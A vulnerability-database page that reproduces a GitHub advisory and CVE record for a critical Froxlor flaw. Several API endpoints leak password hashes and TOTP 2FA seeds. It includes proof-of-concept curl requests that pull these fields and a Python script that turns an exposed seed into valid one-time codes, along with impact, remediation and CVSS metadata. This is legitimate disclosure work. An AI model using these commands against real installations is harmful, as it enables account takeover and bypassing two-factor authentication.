Vulnerability-Lookup

GHSA-7788-GHFQ-C6MH

Vulnerability from github – Published: 2026-08-18 20:48 – Updated: 2026-08-18 20:48

Summary

Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints

Details

Summary

Several Froxlor API command classes return sensitive authentication material in JSON API responses. The affected endpoints retrieve full database rows using SELECT *, SELECT alias.*, or equivalent full-row queries, then return the results directly through $this->response(...) without removing credential-related fields.

The exposed fields include password hashes for customers, administrators, and FTP users, as well as TOTP 2FA seed material for administrator and customer accounts.

This exposes credential-equivalent data to API clients that should not receive it. Password hashes can be cracked offline and reused for account takeover, while exposed TOTP seeds allow generation of valid 2FA codes for affected accounts. When both a password hash and TOTP seed are exposed for the same account, the vulnerability can defeat both authentication factors if the password hash is cracked or the password is otherwise obtained.

Details

The affected API classes retrieve entire database rows and return them without filtering sensitive fields:

`lib/Froxlor/Api/Commands/Customers.php`

Customers.get() and Customers.listing() select and return customer rows containing sensitive fields, including:

password
type_2fa
data_2fa

When type_2fa = 2, the data_2fa value represents the Base32-encoded TOTP seed used by the customer's authenticator application.

The result is returned through $this->response($result) or $this->response(['list' => $result]) without removing these fields.

`lib/Froxlor/Api/Commands/Admins.php`

Admins.get() and Admins.listing() return administrator rows containing sensitive fields, including:

password
type_2fa
data_2fa

When type_2fa = 2, the data_2fa value represents the Base32-encoded TOTP seed used by the administrator's authenticator application.

These fields are not stripped before returning the API response.

`lib/Froxlor/Api/Commands/Ftps.php`

Ftps.get() and Ftps.listing() return FTP user rows containing:

password

The password field is not stripped before returning the API response.

This behavior appears inconsistent with Froxlor's existing safe response patterns. For example, other API command classes explicitly remove password-related fields before returning responses. This indicates that credential material and sensitive internal fields are already treated as non-response data in other parts of the product.

Proof of Concept

Preconditions

Froxlor API is enabled.
A valid API key and secret exist for an account allowed to call the affected API endpoints.
At least one customer or administrator account exists with TOTP 2FA enabled.
For Admins.*, the API account must have the required permission to call the affected administrator endpoint.

Set variables:

export FROXLOR_BASE='https://froxlor.example.com'
export API_KEY='<api_key>'
export API_SECRET='<api_secret>'

PoC 1: Customer password hash and TOTP seed exposure

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Customers.listing","params":{}}' \
  "$FROXLOR_BASE/api.php" | jq '.data.list[] | {customerid, loginname, password, type_2fa, data_2fa, email}'

Example vulnerable response:

{
  "customerid": 1,
  "loginname": "customer1",
  "password": "$2y$12$REDACTED_HASH_VALUE...",
  "type_2fa": 2,
  "data_2fa": "REDACTED_BASE32_TOTP_SEED",
  "email": "customer@example.com"
}

The same issue can be verified with Customers.get:

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Customers.get","params":{"id":1}}' \
  "$FROXLOR_BASE/api.php"

PoC 2: Administrator password hash and TOTP seed exposure

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Admins.listing","params":{}}' \
  "$FROXLOR_BASE/api.php" | jq '.data.list[] | {adminid, loginname, password, type_2fa, data_2fa}'

Example vulnerable response:

{
  "adminid": 1,
  "loginname": "admin",
  "password": "$2y$12$REDACTED_HASH_VALUE...",
  "type_2fa": 2,
  "data_2fa": "REDACTED_BASE32_TOTP_SEED"
}

The same issue can be verified with Admins.get:

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Admins.get","params":{"id":1}}' \
  "$FROXLOR_BASE/api.php"

PoC 3: FTP password hash exposure

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Ftps.listing","params":{}}' \
  "$FROXLOR_BASE/api.php" | jq '.data.list[] | {id, username, password}'

Example vulnerable response:

{
  "id": 1,
  "username": "customer1",
  "password": "$2y$12$REDACTED_HASH_VALUE..."
}

The same issue can be verified with Ftps.get:

curl -k -sS -u "$API_KEY:$API_SECRET" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"command":"Ftps.get","params":{"id":1}}' \
  "$FROXLOR_BASE/api.php"

PoC 4: Generate a valid TOTP code from the exposed seed

If type_2fa = 2, the exposed data_2fa value can be used to generate valid TOTP codes for the affected account.

export TOTP_SEED='<base32_totp_seed_from_data_2fa>'

python3 - <<'PY'
import base64
import hashlib
import hmac
import os
import struct
import time

seed = os.environ["TOTP_SEED"].replace(" ", "").upper()
key = base64.b32decode(seed + "=" * ((8 - len(seed) % 8) % 8))

counter = int(time.time() // 30)
msg = struct.pack(">Q", counter)

digest = hmac.new(key, msg, hashlib.sha1).digest()
offset = digest[-1] & 0x0F
code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7fffffff

print(str(code % 1000000).zfill(6))
PY

The generated six-digit value is a valid TOTP code for the affected account during the current TOTP time window.

Expected behavior

API responses should never include password hashes, TOTP seeds, or other credential-equivalent authentication material in normal get or listing responses.

At minimum, the following fields should be omitted or redacted before returning API responses:

password
data_2fa
any future credential-equivalent secret fields

Impact

An authenticated API user can retrieve credential material for accounts visible through the affected endpoints.

For password hashes, an attacker can perform offline cracking. If a weak or reused password is recovered, the attacker can authenticate as the affected customer, administrator, or FTP user. This may lead to unauthorized access to the hosting panel, FTP file access, hosted website modification, mail or database management, and lateral movement inside a shared-hosting environment.

For TOTP 2FA seeds, an attacker can generate valid one-time codes for affected administrator or customer accounts. TOTP seeds are long-lived secrets and remain valid until 2FA is reset. Exposure of data_2fa therefore weakens or bypasses the second authentication factor for affected accounts.

The combined impact is especially severe when both password and data_2fa are exposed for the same administrator or customer account. In that case, an attacker can attempt to crack the password hash offline and then use the exposed TOTP seed to generate valid 2FA codes, defeating both factors of authentication.

Administrator credential material is particularly sensitive because compromise of an administrator account may allow privileged panel actions and access to server-level or customer-level hosting configuration. Customer and FTP credential material is also sensitive because it may allow unauthorized access to hosted content and account-specific resources.

Remediation

API responses should be built from explicit allowlists of safe response fields instead of returning full database rows. Sensitive fields such as password and data_2fa should never be included in normal get or listing responses.

As a tactical fix, remove or redact credential-equivalent fields before calling $this->response(...) in the affected API command classes.

As an architectural fix, introduce centralized response serialization for API models so that sensitive fields are consistently excluded across all endpoints. This should include password hashes, TOTP seeds, recovery secrets, API secrets, tokens, private keys, and any future authentication material.

Because TOTP seeds may have been exposed, affected installations should consider requiring 2FA reset or rotation for accounts whose data_2fa values may have been returned through vulnerable API responses.

Severity

9.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62988"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T20:48:35Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nSeveral Froxlor API command classes return sensitive authentication material in JSON API responses. The affected endpoints retrieve full database rows using `SELECT *`, `SELECT alias.*`, or equivalent full-row queries, then return the results directly through `$this-\u003eresponse(...)` without removing credential-related fields.\n\nThe exposed fields include password hashes for customers, administrators, and FTP users, as well as TOTP 2FA seed material for administrator and customer accounts.\n\nThis exposes credential-equivalent data to API clients that should not receive it. Password hashes can be cracked offline and reused for account takeover, while exposed TOTP seeds allow generation of valid 2FA codes for affected accounts. When both a password hash and TOTP seed are exposed for the same account, the vulnerability can defeat both authentication factors if the password hash is cracked or the password is otherwise obtained.\n\n## Details\n\nThe affected API classes retrieve entire database rows and return them without filtering sensitive fields:\n\n### `lib/Froxlor/Api/Commands/Customers.php`\n\n`Customers.get()` and `Customers.listing()` select and return customer rows containing sensitive fields, including:\n\n* `password`\n* `type_2fa`\n* `data_2fa`\n\nWhen `type_2fa = 2`, the `data_2fa` value represents the Base32-encoded TOTP seed used by the customer\u0027s authenticator application.\n\nThe result is returned through `$this-\u003eresponse($result)` or `$this-\u003eresponse([\u0027list\u0027 =\u003e $result])` without removing these fields.\n\n### `lib/Froxlor/Api/Commands/Admins.php`\n\n`Admins.get()` and `Admins.listing()` return administrator rows containing sensitive fields, including:\n\n* `password`\n* `type_2fa`\n* `data_2fa`\n\nWhen `type_2fa = 2`, the `data_2fa` value represents the Base32-encoded TOTP seed used by the administrator\u0027s authenticator application.\n\nThese fields are not stripped before returning the API response.\n\n### `lib/Froxlor/Api/Commands/Ftps.php`\n\n`Ftps.get()` and `Ftps.listing()` return FTP user rows containing:\n\n* `password`\n\nThe password field is not stripped before returning the API response.\n\nThis behavior appears inconsistent with Froxlor\u0027s existing safe response patterns. For example, other API command classes explicitly remove password-related fields before returning responses. This indicates that credential material and sensitive internal fields are already treated as non-response data in other parts of the product.\n\n## Proof of Concept\n\n### Preconditions\n\n* Froxlor API is enabled.\n* A valid API key and secret exist for an account allowed to call the affected API endpoints.\n* At least one customer or administrator account exists with TOTP 2FA enabled.\n* For `Admins.*`, the API account must have the required permission to call the affected administrator endpoint.\n\nSet variables:\n\n```bash\nexport FROXLOR_BASE=\u0027https://froxlor.example.com\u0027\nexport API_KEY=\u0027\u003capi_key\u003e\u0027\nexport API_SECRET=\u0027\u003capi_secret\u003e\u0027\n```\n\n### PoC 1: Customer password hash and TOTP seed exposure\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -X POST \\\n  -d \u0027{\"command\":\"Customers.listing\",\"params\":{}}\u0027 \\\n  \"$FROXLOR_BASE/api.php\" | jq \u0027.data.list[] | {customerid, loginname, password, type_2fa, data_2fa, email}\u0027\n```\n\nExample vulnerable response:\n\n```json\n{\n  \"customerid\": 1,\n  \"loginname\": \"customer1\",\n  \"password\": \"$2y$12$REDACTED_HASH_VALUE...\",\n  \"type_2fa\": 2,\n  \"data_2fa\": \"REDACTED_BASE32_TOTP_SEED\",\n  \"email\": \"customer@example.com\"\n}\n```\n\nThe same issue can be verified with `Customers.get`:\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -X POST \\\n  -d \u0027{\"command\":\"Customers.get\",\"params\":{\"id\":1}}\u0027 \\\n  \"$FROXLOR_BASE/api.php\"\n```\n\n### PoC 2: Administrator password hash and TOTP seed exposure\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -X POST \\\n  -d \u0027{\"command\":\"Admins.listing\",\"params\":{}}\u0027 \\\n  \"$FROXLOR_BASE/api.php\" | jq \u0027.data.list[] | {adminid, loginname, password, type_2fa, data_2fa}\u0027\n```\n\nExample vulnerable response:\n\n```json\n{\n  \"adminid\": 1,\n  \"loginname\": \"admin\",\n  \"password\": \"$2y$12$REDACTED_HASH_VALUE...\",\n  \"type_2fa\": 2,\n  \"data_2fa\": \"REDACTED_BASE32_TOTP_SEED\"\n}\n```\n\nThe same issue can be verified with `Admins.get`:\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -X POST \\\n  -d \u0027{\"command\":\"Admins.get\",\"params\":{\"id\":1}}\u0027 \\\n  \"$FROXLOR_BASE/api.php\"\n```\n\n### PoC 3: FTP password hash exposure\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -X POST \\\n  -d \u0027{\"command\":\"Ftps.listing\",\"params\":{}}\u0027 \\\n  \"$FROXLOR_BASE/api.php\" | jq \u0027.data.list[] | {id, username, password}\u0027\n```\n\nExample vulnerable response:\n\n```json\n{\n  \"id\": 1,\n  \"username\": \"customer1\",\n  \"password\": \"$2y$12$REDACTED_HASH_VALUE...\"\n}\n```\n\nThe same issue can be verified with `Ftps.get`:\n\n```bash\ncurl -k -sS -u \"$API_KEY:$API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -X POST \\\n  -d \u0027{\"command\":\"Ftps.get\",\"params\":{\"id\":1}}\u0027 \\\n  \"$FROXLOR_BASE/api.php\"\n```\n\n### PoC 4: Generate a valid TOTP code from the exposed seed\n\nIf `type_2fa = 2`, the exposed `data_2fa` value can be used to generate valid TOTP codes for the affected account.\n\n```bash\nexport TOTP_SEED=\u0027\u003cbase32_totp_seed_from_data_2fa\u003e\u0027\n\npython3 - \u003c\u003c\u0027PY\u0027\nimport base64\nimport hashlib\nimport hmac\nimport os\nimport struct\nimport time\n\nseed = os.environ[\"TOTP_SEED\"].replace(\" \", \"\").upper()\nkey = base64.b32decode(seed + \"=\" * ((8 - len(seed) % 8) % 8))\n\ncounter = int(time.time() // 30)\nmsg = struct.pack(\"\u003eQ\", counter)\n\ndigest = hmac.new(key, msg, hashlib.sha1).digest()\noffset = digest[-1] \u0026 0x0F\ncode = struct.unpack(\"\u003eI\", digest[offset:offset + 4])[0] \u0026 0x7fffffff\n\nprint(str(code % 1000000).zfill(6))\nPY\n```\n\nThe generated six-digit value is a valid TOTP code for the affected account during the current TOTP time window.\n\n### Expected behavior\n\nAPI responses should never include password hashes, TOTP seeds, or other credential-equivalent authentication material in normal `get` or `listing` responses.\n\nAt minimum, the following fields should be omitted or redacted before returning API responses:\n\n* `password`\n* `data_2fa`\n* any future credential-equivalent secret fields\n\n## Impact\n\nAn authenticated API user can retrieve credential material for accounts visible through the affected endpoints.\n\nFor password hashes, an attacker can perform offline cracking. If a weak or reused password is recovered, the attacker can authenticate as the affected customer, administrator, or FTP user. This may lead to unauthorized access to the hosting panel, FTP file access, hosted website modification, mail or database management, and lateral movement inside a shared-hosting environment.\n\nFor TOTP 2FA seeds, an attacker can generate valid one-time codes for affected administrator or customer accounts. TOTP seeds are long-lived secrets and remain valid until 2FA is reset. Exposure of `data_2fa` therefore weakens or bypasses the second authentication factor for affected accounts.\n\nThe combined impact is especially severe when both `password` and `data_2fa` are exposed for the same administrator or customer account. In that case, an attacker can attempt to crack the password hash offline and then use the exposed TOTP seed to generate valid 2FA codes, defeating both factors of authentication.\n\nAdministrator credential material is particularly sensitive because compromise of an administrator account may allow privileged panel actions and access to server-level or customer-level hosting configuration. Customer and FTP credential material is also sensitive because it may allow unauthorized access to hosted content and account-specific resources.\n\n## Remediation\n\nAPI responses should be built from explicit allowlists of safe response fields instead of returning full database rows. Sensitive fields such as `password` and `data_2fa` should never be included in normal `get` or `listing` responses.\n\nAs a tactical fix, remove or redact credential-equivalent fields before calling `$this-\u003eresponse(...)` in the affected API command classes.\n\nAs an architectural fix, introduce centralized response serialization for API models so that sensitive fields are consistently excluded across all endpoints. This should include password hashes, TOTP seeds, recovery secrets, API secrets, tokens, private keys, and any future authentication material.\n\nBecause TOTP seeds may have been exposed, affected installations should consider requiring 2FA reset or rotation for accounts whose `data_2fa` values may have been returned through vulnerable API responses.",
  "id": "GHSA-7788-ghfq-c6mh",
  "modified": "2026-08-18T20:48:35Z",
  "published": "2026-08-18T20:48:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-7788-ghfq-c6mh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/commit/52a43fb826bb9a058faf9c39feeef7ac4444ceba"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/commit/8667fa3a4d77d6e322b7b8f7b9edbc1613ab5797"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints"
}

CVE-2026-62988 (GCVE-0-2026-62988)

Vulnerability from cvelistv5 – Published: 2026-08-18 20:10 – Updated: 2026-08-18 20:10

Title

Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints

Summary

Froxlor is open source server administration software. From 2.3.7 until 2.3.8, the Customers.get, Customers.listing, Admins.get, Admins.listing, Ftps.get, and Ftps.listing API commands in lib/Froxlor/Api/Commands/Customers.php, lib/Froxlor/Api/Commands/Admins.php, and lib/Froxlor/Api/Commands/Ftps.php retrieve full database rows and return them without removing password and data_2fa fields. An authenticated API caller with permission to use these endpoints can obtain customer, administrator, and FTP password hashes as well as Base32-encoded TOTP seeds for administrator and customer accounts. Password hashes can be cracked offline, and TOTP seeds can generate valid second-factor codes until two-factor authentication is reset. Exposure of both values for an account can enable takeover of the hosting panel or hosted resources and can defeat both authentication factors. This issue is fixed in version 2.3.8.

Severity

9 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L

CWE

CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/froxlor/froxlor/security/advis…	x_refsource_CONFIRM
https://github.com/froxlor/froxlor/commit/52a43fb…	x_refsource_MISC
https://github.com/froxlor/froxlor/commit/8667fa3…	x_refsource_MISC
https://github.com/froxlor/froxlor/releases/tag/2.3.8	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
froxlor	froxlor	Affected: < 2.3.8

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{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "froxlor",
          "vendor": "froxlor",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.3.8"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Froxlor is open source server administration software. From 2.3.7 until 2.3.8, the Customers.get, Customers.listing, Admins.get, Admins.listing, Ftps.get, and Ftps.listing API commands in lib/Froxlor/Api/Commands/Customers.php, lib/Froxlor/Api/Commands/Admins.php, and lib/Froxlor/Api/Commands/Ftps.php retrieve full database rows and return them without removing password and data_2fa fields. An authenticated API caller with permission to use these endpoints can obtain customer, administrator, and FTP password hashes as well as Base32-encoded TOTP seeds for administrator and customer accounts. Password hashes can be cracked offline, and TOTP seeds can generate valid second-factor codes until two-factor authentication is reset. Exposure of both values for an account can enable takeover of the hosting panel or hosted resources and can defeat both authentication factors. This issue is fixed in version 2.3.8."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 9,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "HIGH",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-18T20:10:37.562Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/froxlor/froxlor/security/advisories/GHSA-7788-ghfq-c6mh",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-7788-ghfq-c6mh"
        },
        {
          "name": "https://github.com/froxlor/froxlor/commit/52a43fb826bb9a058faf9c39feeef7ac4444ceba",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/froxlor/froxlor/commit/52a43fb826bb9a058faf9c39feeef7ac4444ceba"
        },
        {
          "name": "https://github.com/froxlor/froxlor/commit/8667fa3a4d77d6e322b7b8f7b9edbc1613ab5797",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/froxlor/froxlor/commit/8667fa3a4d77d6e322b7b8f7b9edbc1613ab5797"
        },
        {
          "name": "https://github.com/froxlor/froxlor/releases/tag/2.3.8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.8"
        }
      ],
      "source": {
        "advisory": "GHSA-7788-ghfq-c6mh",
        "discovery": "UNKNOWN"
      },
      "title": "Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-62988",
    "datePublished": "2026-08-18T20:10:37.562Z",
    "dateReserved": "2026-07-14T22:48:09.781Z",
    "dateUpdated": "2026-08-18T20:10:37.562Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-7788-GHFQ-C6MH

Summary

Details

lib/Froxlor/Api/Commands/Customers.php

lib/Froxlor/Api/Commands/Admins.php

lib/Froxlor/Api/Commands/Ftps.php

Proof of Concept

Preconditions

PoC 1: Customer password hash and TOTP seed exposure

PoC 2: Administrator password hash and TOTP seed exposure

PoC 3: FTP password hash exposure

PoC 4: Generate a valid TOTP code from the exposed seed

Expected behavior

Impact

Remediation

CVE-2026-62988 (GCVE-0-2026-62988)

Tags

Sightings

Nomenclature

`lib/Froxlor/Api/Commands/Customers.php`

`lib/Froxlor/Api/Commands/Admins.php`

`lib/Froxlor/Api/Commands/Ftps.php`